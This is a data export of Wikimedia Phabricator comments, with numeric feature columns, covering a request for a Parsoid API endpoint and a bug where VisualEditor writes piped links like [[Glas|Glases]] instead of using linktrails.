226012,Expose a parsoid public web API end point in the MediaWiki API,Marco and I are taking this on.,,,1377273791,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.125,1.0,Marco and I are taking this on.
226004,Expose a parsoid public web API end point in the MediaWiki API,Bumped the prority. We should get to this after Wikimania.,,,1375927194,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,Bumped the prority. We should get to this after Wikimania.
225996,Expose a parsoid public web API end point in the MediaWiki API,Building prod. tools based on Parsoid output (for example to produce offline snasphots) needs this MW API. http://parsoid.wmflabs.org/ can only be a temporary solution...,,,1373488881,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.241379310344827,0.9655172413793104,Building prod. tools based on Parsoid output (for example to produce offline snasphots) needs this MW API. URL can only be a temporary solution...
225991,Expose a parsoid public web API end point in the MediaWiki API,"(In reply to comment #0)
> * HTML DOM saving: POST a modified DOM and a summary, and save it as a new
> revision.

Just to clarify, we don't need this for June/July (we're doing it in VisualEditor currently) - though it's a nice-to-have. :-)

The real focus for us is the HTML DOM expansion, which we will want ASAP for templates and other generated content blocks.",,,1368669141,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,15.0,1.0,1.0,7.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,0.0,8.0,12.0,7.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.375,0.7777777777777778,"(In reply to comment #0)
QUOTE
QUOTE

Just to clarify, we don't need this for June/July (we're doing it in VisualEditor currently) - though it's a nice-to-have. :-)

The real focus for us is the HTML DOM expansion, which we will want ASAP for templates and other generated content blocks."
50463,Parsoid: Links created with VE are piped links even when linktrail could be used,"Currently the VisualEditor linkes like this: [[Glas|Glases]]
The German-language Wikipedia prefers this though: [[Glas]]es

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51438
https://bugzilla.wikimedia.org/show_bug.cgi?id=49940
https://bugzilla.wikimedia.org/show_bug.cgi?id=52240",Medium,50.0,1368551520,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-arvnl4rgkbslvicqgsmj,task_description,open,True,c1,1,True,False,,-7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.6315789473684212,0.5087719298245614,"Currently the VisualEditor linkes like this: [[Glas|Glases]]
The German-language Wikipedia prefers this though: [[Glas]]es

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL"
1072489,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#4223170, @Bencemac wrote:
> @Cirdan I mean it should fix the [[ https://tools.wmflabs.org/checkwiki/cgi-bin/checkwiki.cgi?project=enwiki&view=only&id=64 | existing ones ]]. So if somebody edit an article with `[[text|text]]`, the software would fix that (like AWB does). It could slowly but surely solve the problem.

As @Cirdan says, Parsoid and the visual editor try very hard to avoid changing wikitext that already exists in the article. Different wikis have different conventions, and the most reliable way to respect those conventions is to avoid digging into bits of wikitext that don't relate directly to what the user has done.

The visual editor is not intended to be a general purpose wikitext cleanup tool. As you suggest, AWB is good for that.",,,1527075466,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,255,,0.0,0.0,1.0,1.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,16.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,11.0,5.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,2.0,0.0,1.0,0.0,4.390804597701149,0.7126436781609196,"QUOTE
QUOTE

AsSCREEN_NAME says, Parsoid and the visual editor try very hard to avoid changing wikitext that already exists in the article. Different wikis have different conventions, and the most reliable way to respect those conventions is to avoid digging into bits of wikitext that don't relate directly to what the user has done.

The visual editor is not intended to be a general purpose wikitext cleanup tool. As you suggest, AWB is good for that."
1072281,Parsoid: Links created with VE are piped links even when linktrail could be used,"I'm not a VE developer, but from what I learned from reporting Parsoid bugs, the VE/Parsoid try very hard to //not// alter existing wikitext. This is where quite a few of the copy & paste bugs come from.

I believe syntax cleaning should be done by bots which are controlled by the local community, not through VE.",,,1527054738,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,1.0,0.0,1.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,7.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,13.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,12.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8656716417910446,0.746268656716418,"I'm not a VE developer, but from what I learned from reporting Parsoid bugs, the VE/Parsoid try very hard to //not// alter existing wikitext. This is where quite a few of the copy & paste bugs come from.

I believe syntax cleaning should be done by bots which are controlled by the local community, not through VE."
1072024,Parsoid: Links created with VE are piped links even when linktrail could be used,"@Cirdan I mean it should fix the [[ https://tools.wmflabs.org/checkwiki/cgi-bin/checkwiki.cgi?project=enwiki&view=only&id=64 | existing ones ]]. So if somebody edit an article with `[[text|text]]`, the software would fix that (like AWB does). It could slowly but surely solve the problem.",,,1527015724,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,16.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.5555555555555554,0.8444444444444444,"SCREEN_NAME I mean it should fix the [[ URL | existing ones ]]. So if somebody edit an article with CODE, the software would fix that (like AWB does). It could slowly but surely solve the problem."
1072021,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#4223073, @Bencemac wrote:
> @Esanders I think the idea (Visual Editor should fix automatically `[[text|text]]`) could be a goal and it would have an own task. This task is related, but it is not exactly what I suggested.

The problem with `[[text|text]]` was resolved in {T153107}. If it has re-appeared, that task should be re-opened. From what you wrote in [[T195215#4220491]], the problem is link trail detection/generation, which is what this task is about.",,,1527015152,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,14.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,16.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5517241379310347,0.7413793103448276,"QUOTE
QUOTE

The problem with CODE was resolved in {T153107}. If it has re-appeared, that task should be re-opened. From what you wrote in [[T195215#4220491]], the problem is link trail detection/generation, which is what this task is about."
1072013,Parsoid: Links created with VE are piped links even when linktrail could be used,"@Esanders I think the idea (Visual Editor should fix automatically `[[text|text]]`) could be a goal and it would have an own task. This task is related, but it is not exactly what I suggested.",,,1527013628,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,255,,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,18.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,0.0,8.0,0.0,0.0,0.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.8717948717948718,"SCREEN_NAME I think the idea (Visual Editor should fix automatically CODE) could be a goal and it would have an own task. This task is related, but it is not exactly what I suggested."
1002145,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.

In English plural of `book` is `books`, but in Norwegian this is `bok`and `bøker`. 

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. That is instead of [[book]]s they should be able to write [[books]].

The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page there should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517057368,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,7.0,4.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,4.666666666666667,9.333333333333334,0.0,2.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.333333333333333,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,13.666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.0,6.666666666666667,6.666666666666667,1.0,2.6666666666666665,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,0.0,2.6666666666666665,9.333333333333334,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,1.0,1.0,0.0,2.0,4.167602339181287,0.7136257309941519,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.

In English plural of CODE is CODE, but in Norwegian this is CODEand CODE. 

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. That is instead of [[book]]s they should be able to write [[books]].

The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page there should be no real problem. Only if different inflections targets different pages would there be a problem."
1002144,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517056634,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1.5,0.0,0.0,0.5,0.0,8.5,4.5,0.0,0.0,0.5,2.5,0.0,0.0,0.5,1.5,0.0,0.5,5.5,11.0,0.0,2.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,7.0,1.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.0,0.0,1.5,0.0,0.0,0.5,18.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,7.0,5.5,1.5,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,11.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,3.5,1.0,1.5,1.5,0.0,0.0,4.336842105263158,0.668421052631579,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Use of linktrail can also be troublesome. Assume a link using one inflected word, where the inflection goes in the linktrail. Then the links are changed to another page title, but that page title has another inflection. To detect this and change it accordingly with the current bot frameworks are pretty difficult.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem."
1002143,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517055772,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,2.0,0.0,0.0,0.0,0.0,8.5,4.5,0.0,0.0,1.0,3.0,0.0,0.0,1.0,2.0,0.0,0.5,4.5,9.5,0.0,2.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,6.5,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,1.5,0.0,0.0,0.5,15.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.5,1.5,2.5,10.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.5,1.5,1.5,0.0,0.0,4.269347319347319,0.7177156177156178,"There are several similar reports.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem."
1002142,Parsoid: Links created with VE are piped links even when linktrail could be used,"There are several similar reports,.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem.",,,1517055748,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,2.0,0.0,0.0,0.0,0.0,8.5,4.5,0.0,0.0,1.0,3.0,0.0,0.0,1.0,2.0,0.0,0.5,4.5,9.5,0.0,2.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,6.5,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,1.5,0.0,0.0,0.5,15.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.5,1.5,2.5,10.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.5,1.5,1.5,0.0,0.0,4.242424242424242,0.7121212121212122,"There are several similar reports,.

One thing is shortening the overall link to make it easier to spot and read in wikitext, it is less cluttered, and that is a good reason to enforce use of linktrail.

Note that use of linktrail is an indication of a deeper problem. It should be possible for the writer to inflect the links themselves. The page titles are usually of a normalized form, and rewriting a link into this normalized form is pretty strightforward. In some cases there are alternate normalized forms, but as long as all of them identify the same page tere should be no real problem. Only if different inflections targets different pages would there be a problem."
1002135,Parsoid: Links created with VE are piped links even when linktrail could be used,"Since there was another [[ https://de.wikipedia.org/w/index.php?diff=173370165&oldid=173263938&title=Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ https://de.wikipedia.org/w/index.php?diff=173369735&oldid=159649392 | Here ]] the previously correctly formatted link 
```
[[Baudenkmal]]e
```
was converted to
```
[[Baudenkmal|Baudenkmale]]
```

Is there any hope that this problem will be fixed soon? If that's not possible, a brief explanation of why it is difficult (which we can relay to our community when this question comes up) would be helpful.",,,1517047661,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,1.0,0.0,0.0,1.0,1.0,8.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,6.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,1.0,0.0,1.0,13.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,6.0,10.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,8.0,2.0,1.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,3.0,3.6,0.7888888888888889,"Since there was another [[ URL | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ URL | Here ]] the previously correctly formatted link 
``CODE`CODE`CODE``

Is there any hope that this problem will be fixed soon? If that's not possible, a brief explanation of why it is difficult (which we can relay to our community when this question comes up) would be helpful."
1002134,Parsoid: Links created with VE are piped links even when linktrail could be used,"Since there was another [[ https://de.wikipedia.org/w/index.php?diff=173370165&oldid=173263938&title=Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ https://de.wikipedia.org/w/index.php?diff=173369735&oldid=159649392 | Here ]] the previously correctly formatted link 
```
[[Baudenkmal]]e
```
was converted to
```
[[Baudenkmal|Baudenkmale]]
```

Is there any hope that this problem will be fixed soon?",,,1517047576,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,238,,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.4482758620689653,0.7586206896551724,"Since there was another [[ URL | complaint]] on the de-wp VE feedback page, I'm reviving this bug report. [[ URL | Here ]] the previously correctly formatted link 
``CODE`CODE`CODE``

Is there any hope that this problem will be fixed soon?"
777898,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2874249, @Cirdan wrote:
> Thanks for the clarification. This specific case of this bug understandably decreases acceptance of the VisualEditor on de-wp, whereas the general problem regarding trailing characters is generally seen as acceptable. I asked several complaining users to provide more diffs of this specific case which I will add here.

Let us unmerge T153107, retitle it, and add diffs there. [[Foo|Foo]] shouldn't be happening and is either a regression or a corner case in the HTML or something else going on that we have some missed all this while.",,,1481751088,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,6.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,10.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,8.0,3.6538461538461537,0.8461538461538461,"QUOTE
QUOTE

Let us unmerge T153107, retitle it, and add diffs there. [[Foo|Foo]] shouldn't be happening and is either a regression or a corner case in the HTML or something else going on that we have some missed all this while."
777890,Parsoid: Links created with VE are piped links even when linktrail could be used,"Thanks for the clarification. This specific case of this bug understandably decreases acceptance of the VisualEditor on de-wp, whereas the general problem regarding trailing characters is generally seen as acceptable. I asked several complaining users to provide more diffs of this specific case which I will add here.",,,1481750714,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,2.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,9.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,5.018518518518518,0.8148148148148148,"Thanks for the clarification. This specific case of this bug understandably decreases acceptance of the VisualEditor on de-wp, whereas the general problem regarding trailing characters is generally seen as acceptable. I asked several complaining users to provide more diffs of this specific case which I will add here."
777177,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870576, @Cirdan wrote:
>> VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?
> 
> Not HTML, but apparently editing pages with the VE creates links like 
> ```
> [[Target|Target]]
> ```
> in the Wikitext. I would assume that before Wikitext is saved (or delivered to the user), this is automatically cleaned to
> ```
> [[Target]]
> ```

